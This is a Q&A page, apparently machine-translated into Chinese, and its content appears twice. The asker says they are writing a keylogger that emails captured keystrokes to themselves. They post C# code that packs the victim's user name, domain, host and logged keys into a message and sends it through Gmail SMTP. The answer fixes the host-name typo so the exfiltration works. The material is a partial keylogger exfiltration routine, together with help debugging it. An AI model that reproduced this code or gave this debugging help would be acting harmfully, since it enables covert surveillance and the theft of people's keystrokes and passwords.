系统smtp异常
System smtp Exception
我正在开发将密钥发送到我的电子邮件的密钥记录器,我 运行 遇到了问题。我正在使用 visual studio C#,当我 运行 程序时,出现异常 "System.Net.Mail.SmtpException: 'Failure sending mail.'"
这个问题有解决办法吗?
这是我的代码:
... emailBody += "\nUser: " + Environment.UserDomainName + " \ " + Environment.UserName;
emailBody += "\nhost " + host;
emailBody += "\ntime: " + now.ToString();
emailBody += logContents;
SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("email address");
mailMessage.To.Add("email address");
mailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
mailMessage.Body = emailBody;
client.Send(mailMessage);
用于 SMTP 事务的主机错误。您需要将其修改为smtp.gmail.com
,而不是smpt
。
我正在开发将密钥发送到我的电子邮件的密钥记录器,我 运行 遇到了问题。我正在使用 visual studio C#,当我 运行 程序时,出现异常 "System.Net.Mail.SmtpException: 'Failure sending mail.'" 这个问题有解决办法吗? 这是我的代码:
... emailBody += "\nUser: " + Environment.UserDomainName + " \ " + Environment.UserName;
emailBody += "\nhost " + host;
emailBody += "\ntime: " + now.ToString();
emailBody += logContents;
SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("email address");
mailMessage.To.Add("email address");
mailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
mailMessage.Body = emailBody;
client.Send(mailMessage);
用于 SMTP 事务的主机错误。您需要将其修改为smtp.gmail.com
,而不是smpt
。